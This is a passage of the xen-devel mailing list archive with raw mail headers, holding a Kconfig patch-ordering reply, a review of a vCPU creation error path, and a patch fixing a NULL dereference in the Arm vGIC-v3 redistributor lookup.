X-Forwarded-Encrypted: i=1; AHgh+RofJariVITgITI2jIqLuBSh3DcRNzh4RTSYMzL2NXN7B1UUZvLyOrJfCXGk/V1QI63aoWK1xCVFCw0=@lists.xenproject.org
X-Gm-Message-State: AOJu0Yw5deIkl5lekO8dWGgmCwjorWbBgv9EQ+2+jkPPLFD6Pw0Y/SqY
	VWjr++FPQMzC43Oi2FNcRdZ4tlwYQ9aC5iBZMAyShUvo/fyHksFnVYVU
X-Gm-Gg: AfdE7clW8WL00yrK2jxkpBgIygs14SefFxZ3CPrUihkyLU150C2cDfc4iISFmFn/y1X
	gap44lc6nIWIFZbUmdUaB0PJHDSRev4w2FYxpZC1LYVhw1qTZWMVJH2wlG6XnbT28VRG/bqbkHr
	E3Uy6b01+Vb6tcsH0NIYzTuyiTdkgI1eK9818ecaZnj6jJ8C9ZpqcMO1KMnyQYeD+3VZnpGGtNE
	5B8pohEbxP2bwoz81eXyF/AKJlTyV1LIvVH0XkJjhqdTrwtgWGpfyOVHBud0lZ7/Ut8RJpmUo9D
	45mzaAXc9GfPhLE7NtIKXLL8wBhsusQ4GxWsxhguuSVEF5NcgR1KvkleqEpgtao+H+5r4Rp2slj
	lrpnv/dFXFauSdXbQJXmFgf1qSmbTrkQVD7F7VoY1ESPPvoGmFAyrqvtzr3+v3/wekXcGNhfRDR
	wJhtcxryWsj2GjJzcSxXi0628QcGmTu9NomrpHJvkKouttzBZ6pIfalVSFBwJNmLcnoTqx8xsYx
	nWVdw==
X-Received: by 2002:a05:6402:4285:b0:697:eb97:a4ed with SMTP id 4fb4d7f45d1cf-69ab3bc8f00mr1051664a12.7.1783511430640;
        Wed, 08 Jul 2026 04:50:30 -0700 (PDT)
Message-ID: <d9e923c7-bd91-4034-b9a6-3e0d39b4c710@gmail.com>
Date: Wed, 8 Jul 2026 13:50:29 +0200
MIME-Version: 1.0
User-Agent: Mozilla Thunderbird
Subject: Re: [PATCH v5 04/26] xen/Kconfig: introduce HAS_STATIC_MEMORY
To: Jan Beulich <jbeulich@suse.com>
Cc: Romain Caritey <Romain.Caritey@microchip.com>,
 Baptiste Le Duc <baptiste.le-duc@vates.tech>,
 Stefano Stabellini <sstabellini@kernel.org>, Julien Grall <julien@xen.org>,
 Bertrand Marquis <bertrand.marquis@arm.com>,
 Michal Orzel <michal.orzel@amd.com>,
 Volodymyr Babchuk <Volodymyr_Babchuk@epam.com>,
 Andrew Cooper <andrew.cooper3@citrix.com>,
 Anthony PERARD <anthony.perard@vates.tech>,
 =?UTF-8?Q?Roger_Pau_Monn=C3=A9?= <roger.pau@citrix.com>,
 xen-devel@lists.xenproject.org
References: <cover.1783331040.git.oleksii.kurochko@gmail.com>
 <39f6e7414696acad4a1257afaf067a832b165cc4.1783331040.git.oleksii.kurochko@gmail.com>
 <04360a50-4ed9-4d65-ace4-deb302bb2c28@suse.com>
Content-Language: en-US
From: Oleksii Kurochko <oleksii.kurochko@gmail.com>
In-Reply-To: <04360a50-4ed9-4d65-ace4-deb302bb2c28@suse.com>
Content-Type: text/plain; charset=UTF-8; format=flowed
Content-Transfer-Encoding: 7bit
X-purgate-ID: tlsNG-c201ff/1783511431-0DB092B8-11F9FC2B/10/73395122804
X-purgate-type: spam
X-purgate-size: 1124



On 7/7/26 11:52 AM, Jan Beulich wrote:
> On 06.07.2026 17:57, Oleksii Kurochko wrote:
>> --- a/xen/arch/arm/Kconfig
>> +++ b/xen/arch/arm/Kconfig
>> @@ -22,6 +22,7 @@ config ARM
>>   	select HAS_GRANT_CACHE_FLUSH if GRANT_TABLE
>>   	select HAS_SHARED_INFO
>>   	select HAS_STACK_PROTECTOR
>> +	select HAS_STATIC_MEMORY
>>   	select HAS_UBSAN
> 
> Both here and ...
> 
>> --- a/xen/common/Kconfig
>> +++ b/xen/common/Kconfig
>> @@ -161,6 +161,9 @@ config HAS_SCHED_GRANULARITY
>>   config HAS_SHARED_INFO
>>   	bool
>>   
>> +config HAS_STATIC_MEMORY
>> +	bool
>> +
> 
> ... here it is clearly visible from context that this patch is assumed
> to go on top of "xen: introduce CONFIG_HAS_SHARED_INFO for archs without
> a shared page", yet that's not said anywhere. Perhaps that other patch
> would better have been part of this series?

Good point, I think you are right and it would be better to put "xen: 
introduce CONFIG_HAS_SHARED_INFO for archs without a shared page" just 
into this series.
I will do that during preparation of next version of this series.

Thanks.

~ Oleksii


From xen-devel-bounces@lists.xenproject.org Wed Jul 08 11:56:34 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Wed, 08 Jul 2026 11:56:34 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1356926.1611444 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1whQtA-00088u-AW; Wed, 08 Jul 2026 11:56:28 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1356926.1611444; Wed, 08 Jul 2026 11:56:28 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1whQtA-00088m-7G; Wed, 08 Jul 2026 11:56:28 +0000
Received: by outflank-mailman (input) for mailman id 1356926;
 Wed, 08 Jul 2026 11:56:26 +0000
Received: from mx.expurgate.net ([194.145.224.10])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <Michal.Orzel@amd.com>) id 1whQt8-00088g-R6
 for xen-devel@lists.xenproject.org; Wed, 08 Jul 2026 11:56:26 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1whQt8-00B9DF-48
 for xen-devel@lists.xenproject.org; Wed, 08 Jul 2026 13:56:26 +0200
Received: from [10.42.69.10] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <Michal.Orzel@amd.com>)
 id 6a4e3ad0-bab6-0a2a0a5309dd-0a2a450ac4d6-36
 for <xen-devel@lists.xenproject.org>; Wed, 08 Jul 2026 13:56:25 +0200
Received: from [52.101.53.60]
 (helo=BL0PR03CU003.outbound.protection.outlook.com)
 by tlsNG-4011c0.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <Michal.Orzel@amd.com>)
 id 6a4e3ae8-e40e-0a2a450a0019-3465353cdcd4-4
 for <xen-devel@lists.xenproject.org>; Wed, 08 Jul 2026 13:56:25 +0200
Received: from MW4P220CA0019.NAMP220.PROD.OUTLOOK.COM (2603:10b6:303:115::24)
 by SA0PR12MB4495.namprd12.prod.outlook.com (2603:10b6:806:70::13)
 with Microsoft SMTP Server (version=TLS1_2,
 cipher=TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384) id 15.21.181.14; Wed, 8 Jul
 2026 11:56:21 +0000
Received: from CO1PEPF000066E7.namprd05.prod.outlook.com
 (2603:10b6:303:115:cafe::12) by MW4P220CA0019.outlook.office365.com
 (2603:10b6:303:115::24) with Microsoft SMTP Server (version=TLS1_3,
 cipher=TLS_AES_256_GCM_SHA384) id 15.21.181.8 via Frontend Transport; Wed, 8
 Jul 2026 11:56:21 +0000
Received: from satlexmb07.amd.com (165.204.84.17) by
 CO1PEPF000066E7.mail.protection.outlook.com (10.167.249.9) with Microsoft
 SMTP Server (version=TLS1_2, cipher=TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384) id
 15.21.181.6 via Frontend Transport; Wed, 8 Jul 2026 11:56:21 +0000
Received: from satlexmb10.amd.com (10.181.42.219) by satlexmb07.amd.com
 (10.181.42.216) with Microsoft SMTP Server (version=TLS1_2,
 cipher=TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384) id 15.2.2562.41; Wed, 8 Jul
 2026 06:56:21 -0500
Received: from satlexmb08.amd.com (10.181.42.217) by satlexmb10.amd.com
 (10.181.42.219) with Microsoft SMTP Server (version=TLS1_2,
 cipher=TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384) id 15.2.2562.41; Wed, 8 Jul
 2026 06:56:20 -0500
Received: from [10.252.145.116] (10.180.168.240) by satlexmb08.amd.com
 (10.181.42.217) with Microsoft SMTP Server id 15.2.2562.41 via Frontend
 Transport; Wed, 8 Jul 2026 06:56:20 -0500
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=selector1 header.d=amd.com header.i="@amd.com" header.h="From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-SenderADCheck"
ARC-Seal: i=1; a=rsa-sha256; s=arcselector10001; d=microsoft.com; cv=none;
 b=R++sG7T8cs+n95gD8Bg0hUH9BrVpVzNWKYEzUzcvBW5ZiW/BWzUg+6CN1FhQVaCeLFRxDPGh5Kh5mGSkN3koTfwlapMXFjntWTE9AM+ayGj5bptu036kFtUnOUMAT88vv+qcHNLocjvpbn4tdtrZPJYPOCJqlLiRD5ElwIdUjzENb4x2YRG2gPihd2dwtUEPMxna/61rTzvHYiLArOyQDQSDuBRBhqe0daDKo120Cxh1L4xxb3kvodC2JfDWv4jMKFgGbIApE5oGneVMtTxrgKHjKLQ/Zc5x0fi8xnB/arSvU86SRo3QEauKrvPLZzrwToy7jNy7lx7aqOzW96QnSg==
ARC-Message-Signature: i=1; a=rsa-sha256; c=relaxed/relaxed; d=microsoft.com;
 s=arcselector10001;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-AntiSpam-MessageData-ChunkCount:X-MS-Exchange-AntiSpam-MessageData-0:X-MS-Exchange-AntiSpam-MessageData-1;
 bh=rg3veLJ5bFvpUxZCmsRjq2Uwx0d2pEgjBnEG1POC/E4=;
 b=WuCu1S9a07NOStcmWAD4sUeZIDGw8aRaFr8zKGdmEP2ApWFt2KZxwElawTZJUR9xTWqNrJOyDxyPTt6B2g3XZk7765x+Y1z1XVPZd4lXzu/4/bU3sjnBcqSfkvZI5i6E/LrBq5fHrQFCpKMjJh/Ir2Au0c19fMCRg/weN9a9B5OuG9nDbfy2A9PjaBIGHaQ3zQDaaVY/T2J3OC4aNKgPoaHI9OLd1ahCumofvAmvAyed1Ho5ouLDv8L8HKsrkoIxwpPwFIOf54kPxqmknayNmOqCzp0+sx9sv16/gafZh9/Ea+IlZBNJykQqjw6QxVeG3wJUnJy9olkU0aaRlbDXMA==
ARC-Authentication-Results: i=1; mx.microsoft.com 1; spf=pass (sender ip is
 165.204.84.17) smtp.rcpttodomain=epam.com smtp.mailfrom=amd.com; dmarc=pass
 (p=quarantine sp=quarantine pct=100) action=none header.from=amd.com;
 dkim=none (message not signed); arc=none (0)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=amd.com; s=selector1;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-SenderADCheck;
 bh=rg3veLJ5bFvpUxZCmsRjq2Uwx0d2pEgjBnEG1POC/E4=;
 b=AtT0Ehjee7XwcrvKwnFfwWL5CA9zYNJf9yEMVagMo4yfJdbKSH07lh/4uhjHT1Q3MqqB/Xfug/yZawBEliN7VEjMXpuqzAUlszTEDfJjfCyikZ6DXXN7r3q7/nLjFYRrbelE3KkwnITeB5SH9WsGMzYEUIxzVreWygVMb7FR8Vs=
X-MS-Exchange-Authentication-Results: spf=pass (sender IP is 165.204.84.17)
 smtp.mailfrom=amd.com; dkim=none (message not signed)
 header.d=none;dmarc=pass action=none header.from=amd.com;
Received-SPF: Pass (protection.outlook.com: domain of amd.com designates
 165.204.84.17 as permitted sender) receiver=protection.outlook.com;
 client-ip=165.204.84.17; helo=satlexmb07.amd.com; pr=C
Message-ID: <93586087-5fe0-42e4-bb11-bc8b50625be4@amd.com>
Date: Wed, 8 Jul 2026 13:56:14 +0200
MIME-Version: 1.0
User-Agent: Mozilla Thunderbird
Subject: Re: [for-4.22][PATCH] xen/arm: Fail domain construction if a
 secondary vCPU cannot be created
To: Dmytro Prokopchuk1 <dmytro_prokopchuk1@epam.com>,
	"xen-devel@lists.xenproject.org" <xen-devel@lists.xenproject.org>
References: <20260708074919.33381-1-michal.orzel@amd.com>
 <6594c467-4cc2-4a61-bbed-def8179cd712@epam.com>
From: "Orzel, Michal" <michal.orzel@amd.com>
Content-Language: en-US
In-Reply-To: <6594c467-4cc2-4a61-bbed-def8179cd712@epam.com>
Content-Type: text/plain; charset="UTF-8"
Content-Transfer-Encoding: 7bit
X-EOPAttributedMessage: 0
X-MS-PublicTrafficType: Email
X-MS-TrafficTypeDiagnostic: CO1PEPF000066E7:EE_|SA0PR12MB4495:EE_
X-MS-Office365-Filtering-Correlation-Id: 2bed4a8b-0bc8-4827-0062-08dedce7eda0
X-MS-Exchange-SenderADCheck: 1
X-MS-Exchange-AntiSpam-Relay: 0
X-Microsoft-Antispam:
	BCL:0;ARA:13230040|36860700016|1800799024|376014|82310400026|23010399003|4143699003|18002099003|22082099003|11063799006|56012099006;
X-Microsoft-Antispam-Message-Info:
	PltrxVNx0k3ZjGx/hBWcrEgq+QFIFvTR50dKcCxrQq2EfrSCg+wRRVFXvxOqAPNKJKPuUZuGeRhBIisO8rGYESHdx53qu8lc7rfxj1RXzH6pqneYFi6HA1nfNDmB/60O1BJylwVzoR/kG7rOggD55X1OLgbHMoUcD+aTLUITgS7C6WycfKgsgY8e4cvkWFdsklC0BdARhwmStiVjbWF0he9fu/QS62HSBOv5XN8vFvJezpMTCwJyASR8YSBTGXCt6tTD10qu5KXZ6IuAsU/I0kzm8F5zbSaFPgyiv0Po+Kxf+aWcfRuwrEqf4kDPxuke/V7vJrqEpNF+SiC2rzAQg0gjLvA5xQiWXfTiSRljRP8nAE8R3u5daiqIS+9QlTj5F0YLM2KTX4dyKDnSfDR3BUCvEMRilOuSOw6RKdWEprFnnM2QNHo811Bt/l2/Sx9ie8otM6RYFXDbkD+uBDoX9P4uLc1ZOG3iwMC/QQeiZ+XTaCtAerohjZ6LEOmtwUnMaVZf+2JZalYZ00IS+iO23VbFvFjouDg5z44rSMKeg0ulIvgWH33NOtQqx8oSbfBtfelV6h5XjnNEDDu6Ngr68dlHCmVE5qtq/KpoZi3XnZqSg6SX6VeX0X3tIops0u5BoOqN/IrMRTSrjlaIyiQyG3L2cIGdExL9Ss8w+9ZYHIh44A8ZxkyeIL70+r7AyxdWDposGuLU4D/c0U09HbvOfA==
X-Forefront-Antispam-Report:
	CIP:165.204.84.17;CTRY:US;LANG:en;SCL:1;SRV:;IPV:NLI;SFV:NSPM;H:satlexmb07.amd.com;PTR:InfoDomainNonexistent;CAT:NONE;SFS:(13230040)(36860700016)(1800799024)(376014)(82310400026)(23010399003)(4143699003)(18002099003)(22082099003)(11063799006)(56012099006);DIR:OUT;SFP:1101;
X-MS-Exchange-AntiSpam-MessageData-ChunkCount: 1
X-MS-Exchange-AntiSpam-MessageData-0:
	L3rFaousKr4EmLjwVwqU+3TKr2My9pM8Rf0UePCIgiRzhkAyUUAA2WHb+Cl7U7llczOr3Q2B+Ao+xQblKWMJVKHXLKLWM8AxzhWYJ0DhUwGH4wzOxJHP21ocqc4CFlhIetqpj5YmHMe95Fpw4Fu/uQErHS9P35S6iGKVkQlabcrl7+0nMuEOCaD+Tc7k4njU9wtbB4ASySMJ76v2jtZyttLUHOjfUlfug6YEVc/z6uvOKbnJBt8eu6/lsWEynQkdai9+fBAV003SluYCzjXL1JXEvsLt2G8GTk9CsjQaW30uNV9NhYvFCfE/Bt7x+oGxJ0+WKMG16uJzMkJS2nYTQUk9xQTllxo5EaXzBS6+nioNb4pxUzWxsTos4Z8C5ou3rDMHnBJf4se1VNQT63pEsWuwH7PwcZGVRHDlRBRAm2zJmIpuCdKV3Tdwh2NgNaCE
X-OriginatorOrg: amd.com
X-MS-Exchange-CrossTenant-OriginalArrivalTime: 08 Jul 2026 11:56:21.4093
 (UTC)
X-MS-Exchange-CrossTenant-Network-Message-Id: 2bed4a8b-0bc8-4827-0062-08dedce7eda0
X-MS-Exchange-CrossTenant-Id: 3dd8961f-e488-4e60-8e11-a82d994e183d
X-MS-Exchange-CrossTenant-OriginalAttributedTenantConnectingIp: TenantId=3dd8961f-e488-4e60-8e11-a82d994e183d;Ip=[165.204.84.17];Helo=[satlexmb07.amd.com]
X-MS-Exchange-CrossTenant-AuthSource:
	CO1PEPF000066E7.namprd05.prod.outlook.com
X-MS-Exchange-CrossTenant-AuthAs: Anonymous
X-MS-Exchange-CrossTenant-FromEntityHeader: HybridOnPrem
X-MS-Exchange-Transport-CrossTenantHeadersStamped: SA0PR12MB4495
X-purgate-ID: tlsNG-4011c0/1783511785-3C67BDDE-59B27B39/0/0
X-purgate-type: clean
X-purgate-size: 1916



On 08-Jul-26 11:18, Dmytro Prokopchuk1 wrote:
> Hi Michal,
> 
> On 7/8/26 10:49, Michal Orzel wrote:
>> construct_domain() creates the secondary vCPUs in a loop, but on a
>> vcpu_create() failure it only prints a message and breaks out of the
>> loop returning success. As a result the domain can be constructed
>> with fewer vCPUs than d->max_vcpus, leaving NULL holes in d->vcpu[]
>> below max_vcpus.
>>
>> When the guest probes the redistributor of a vCPU that was never created,
>> get_vcpu_from_rdist() only checks vcpu_id against d->max_vcpus and then
>> dereferences the NULL d->vcpu[vcpu_id], resulting in a data abort.
>>
>> Return an error instead of breaking out of the loop. Both callers
>> (construct_domU() and construct_hwdom()) already propagate a negative
>> return value and fail domain construction, which is the correct
>> behaviour: a domain that cannot provide the requested number of vCPUs
>> should not be brought up.
>>
>> Fixes: 6b0e8e43348a ("xen/arm: allocate secondaries dom0 vcpus")
>> Signed-off-by: Michal Orzel <michal.orzel@amd.com>
>> ---
>>   xen/arch/arm/domain_build.c | 2 +-
>>   1 file changed, 1 insertion(+), 1 deletion(-)
>>
>> diff --git a/xen/arch/arm/domain_build.c b/xen/arch/arm/domain_build.c
>> index 550617f152bb..b46574fd32aa 100644
>> --- a/xen/arch/arm/domain_build.c
>> +++ b/xen/arch/arm/domain_build.c
>> @@ -1847,7 +1847,7 @@ int __init construct_domain(struct domain *d, struct kernel_info *kinfo)
>>           if ( vcpu_create(d, i) == NULL )
>>           {
>>               printk("Failed to allocate d%dv%d\n", d->domain_id, i);
>> -            break;
>> +            return -EINVAL;
> 
> I would say returning "-ENOMEM" is more actual here, because 
> vcpu_create() fails in most cases due to unable to allocate memory.
I think you're right. Not all, but most of them yes. Will change on commit.

~Michal



From xen-devel-bounces@lists.xenproject.org Wed Jul 08 12:18:08 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Wed, 08 Jul 2026 12:18:08 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1356938.1611454 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1whRE1-0003Pj-4H; Wed, 08 Jul 2026 12:18:01 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1356938.1611454; Wed, 08 Jul 2026 12:18:01 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1whRE1-0003Pc-0c; Wed, 08 Jul 2026 12:18:01 +0000
Received: by outflank-mailman (input) for mailman id 1356938;
 Wed, 08 Jul 2026 12:17:59 +0000
Received: from mx.expurgate.net ([195.190.135.20])
 by lists.xenproject.org with esmtp (Exim 4.92) id 1whRDz-0003PW-83
 for xen-devel@lists.xenproject.org; Wed, 08 Jul 2026 12:17:59 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1whRDx-008JQt-VM
 for xen-devel@lists.xenproject.org; Wed, 08 Jul 2026 14:17:57 +0200
Received: from [10.42.69.12] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <andrew.cooper3@citrix.com>)
 id 6a4e3fea-e002-0a2a0a5209dd-0a2a450cac66-38
 for <xen-devel@lists.xenproject.org>; Wed, 08 Jul 2026 14:17:57 +0200
Received: from [209.85.128.43] (helo=mail-wm1-f43.google.com)
 by tlsNG-d25034.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <andrew.cooper3@citrix.com>)
 id 6a4e3ff5-f399-0a2a450c0019-d155802bd496-3
 for <xen-devel@lists.xenproject.org>; Wed, 08 Jul 2026 14:17:57 +0200
Received: by mail-wm1-f43.google.com with SMTP id
 5b1f17b1804b1-493e8d4f4dcso931775e9.0
 for <xen-devel@lists.xenproject.org>; Wed, 08 Jul 2026 05:17:57 -0700 (PDT)
Received: from localhost.localdomain (host-78-146-248-75.as13285.net.
 [78.146.248.75]) by smtp.gmail.com with ESMTPSA id
 5b1f17b1804b1-493e0f36786sm123766875e9.6.2026.07.08.05.17.55
 (version=TLS1_3 cipher=TLS_AES_256_GCM_SHA384 bits=256/256);
 Wed, 08 Jul 2026 05:17:56 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=google header.d=citrix.com header.i="@citrix.com" header.h="Content-Transfer-Encoding:MIME-Version:Message-Id:Date:Subject:Cc:To:From"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=citrix.com; s=google; t=1783513077; x=1784117877; darn=lists.xenproject.org;
        h=content-transfer-encoding:mime-version:message-id:date:subject:cc
         :to:from:from:to:cc:subject:date:message-id:reply-to:content-type;
        bh=/J9Sr8HL9sOwV2WsOoARWEz7ZgAmOZbuv5uZ8/XLSg8=;
        b=PeROiNkuCrxbkYiZDGx7ATyugbxCqCt90mcdxLWQMrmKgyE6nWDM4tw3TN/2iTlxK4
         xI1B9F1w7MflDdP1Vti/subTnhzPu8YY9FCCjZ3QRFVllTmmCD0MPTScU2lkcTZ9EEzw
         t0y6O6QtXxM/XVXoGEIIIhBgBLLTHiJ4LQQEw=
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1783513077; x=1784117877;
        h=content-transfer-encoding:mime-version:message-id:date:subject:cc
         :to:from:x-gm-gg:x-gm-message-state:from:to:cc:subject:date
         :message-id:reply-to:content-type;
        bh=/J9Sr8HL9sOwV2WsOoARWEz7ZgAmOZbuv5uZ8/XLSg8=;
        b=LFCNePGCy3+fm0CTCOoIDlRcvFOM87CFovEmI1r1wuKUQA7xnkiu8Xsu7H7U4c/zbf
         YI5y6uN9gzvsx2g6Do1/yxzdiOhPHfqWifN/Zk927K0f2AkPZdr+uTmbE98csPG7EQZE
         5gO1u/fftktR1epXc3aQ60osdgAhA9K2PZKqtRoW3SjnNpc3izuTLVkf5io1d4oYiw6U
         7GRUuCkHQdGzS/p5L73S4AXLjPOossTTYbitHe4Ng+EZx4XQ83DNUdB0UFcVu4tVSluJ
         x8cNJUuD5Eoir986lL9JOAK5FSsVlDUrkAJ3VuXij2Y/mn/3RFJJcCNUgJlCikZuczBA
         5wsQ==
X-Gm-Message-State: AOJu0YycAMhR0GZbtvnDZcZ2Bdaawl0P1KXzoTfJbE8xbeLiHFjnAo8v
	1PIC/6yb6y9DDHkQ0NuT/z4S1dlltH5J3qAOJ7QEiDwg7rTDuvqS/LJH1um6DFncvo1GzRQaTQU
	T79NynIY=
X-Gm-Gg: AfdE7cmFm8VasbPxU4vtaVE8sR1d4q8wWPgZndcb84c4+Q7UUKTF4+tlj2QWlVgpG1+
	P7kEBhcmseIs3J7oRnhPUMjJnqDgWX922d7FvhV4nKVQEV1rUE1yjY24E9Mf5xfv5trswlGPM9H
	2r0yrS+RtNDlj5OsdtAWN6l3CFoG4KMnNNAlNaYCGnwvDeUpCsD/scNrMYWHlhcibrkC6xFj6Q0
	DT8gXSeSAFimp4cAVqQmPFi75OPKbjXzE2KHXy1fdmqq3G6IQBv2awfqFK6E17Kq7YTMHVT8ci5
	wQ0W8KC2/AihO1U4zw0m1jJEDRv3cQcb35ORXPG1BGGxHYIw+L2OdhWUnxQ1xZ8BDYAQb2GuvjY
	aJCXfFNamPgOpVKQez2lmnikJDAl2hqwZsQF3IOLICT4p7mU/XG7JS/ZTIZDIbcdZ0NGgU/totO
	rwKDKUP8Re5qwkHo9cQyGbQVdfvUyIwDpOps8jTuueZDeEU13Gmnv6bHkwWFlOCCk=
X-Received: by 2002:a05:600c:c174:b0:493:c862:3f2d with SMTP id 5b1f17b1804b1-493e685992cmr22738875e9.5.1783513076920;
        Wed, 08 Jul 2026 05:17:56 -0700 (PDT)
From: Andrew Cooper <andrew.cooper3@citrix.com>
To: Xen-devel <xen-devel@lists.xenproject.org>
Cc: Andrew Cooper <andrew.cooper3@citrix.com>,
	Michal Orzel <michal.orzel@amd.com>,
	Stefano Stabellini <sstabellini@kernel.org>,
	Julien Grall <julien@xen.org>,
	Volodymyr Babchuk <Volodymyr_Babchuk@epam.com>,
	Bertrand Marquis <bertrand.marquis@arm.com>,
	Oleksii Kurochko <oleksii.kurochko@gmail.com>
Subject: [PATCH] arm/vgic-v3: Fix data abort in get_vcpu_from_rdist()
Date: Wed,  8 Jul 2026 13:17:53 +0100
Message-Id: <20260708121753.1428271-1-andrew.cooper3@citrix.com>
X-Mailer: git-send-email 2.39.5
MIME-Version: 1.0
Content-Transfer-Encoding: 8bit
X-purgate-ID: tlsNG-d25034/1783513077-0FF33D51-D9781102/10/73395122804
X-purgate-type: spam
X-purgate-size: 1427

Just because vcpu_id is within d->max_vcpus doesn't mean d->vcpu[vcpu_id] is
non-NULL.  Use the proper accessor to look up a vcpu object.

Reported-by: Michal Orzel <michal.orzel@amd.com>
Fixes: acf65e5a25a7 ("xen/arm: vgic-v3: Emulate correctly the re-distributor")
Signed-off-by: Andrew Cooper <andrew.cooper3@citrix.com>
---
CC: Stefano Stabellini <sstabellini@kernel.org>
CC: Julien Grall <julien@xen.org>
CC: Volodymyr Babchuk <Volodymyr_Babchuk@epam.com>
CC: Bertrand Marquis <bertrand.marquis@arm.com>
CC: Michal Orzel <michal.orzel@amd.com>
CC: Oleksii Kurochko <oleksii.kurochko@gmail.com>

Untested.  This came from review discusson on a separate patch.
---
 xen/arch/arm/vgic-v3.c | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/xen/arch/arm/vgic-v3.c b/xen/arch/arm/vgic-v3.c
index c1c4d6f71ea8..c01cc596d593 100644
--- a/xen/arch/arm/vgic-v3.c
+++ b/xen/arch/arm/vgic-v3.c
@@ -1111,10 +1111,10 @@ static struct vcpu *get_vcpu_from_rdist(struct domain *d,
     unsigned int vcpu_id;
 
     vcpu_id = region->first_cpu + ((gpa - region->base) / GICV3_GICR_SIZE);
-    if ( unlikely(vcpu_id >= d->max_vcpus) )
-        return NULL;
 
-    v = d->vcpu[vcpu_id];
+    v = domain_vcpu(d, vcpu_id);
+    if ( !v )
+        return NULL;
 
     *offset = gpa - v->arch.vgic.rdist_base;
 

base-commit: c4bf5bc5f0edbcbc5965c924db069483b2cf6049
-- 
2.39.5



From xen-devel-bounces@lists.xenproject.org Wed Jul 08 12:42:35 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Wed, 08 Jul 2026 12:42:35 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1356953.1611461 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1whRbY-0007Da-TI; Wed, 08 Jul 2026 12:42:20 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1356953.1611461; Wed, 08 Jul 2026 12:42:20 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1whRbY-0007DT-Qc; Wed, 08 Jul 2026 12:42:20 +0000
Received: by outflank-mailman (input) for mailman id 1356953;
 Wed, 08 Jul 2026 12:42:20 +0000
Received: from mx.expurgate.net ([195.190.135.10])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <tzimmermann@suse.de>) id 1whRbY-0007DN-4w
 for xen-devel@lists.xenproject.org; Wed, 08 Jul 2026 12:42:20 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1whRbX-009vSU-1M
 for xen-devel@lists.xenproject.org; Wed, 08 Jul 2026 14:42:19 +0200
Received: from [10.42.69.11] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
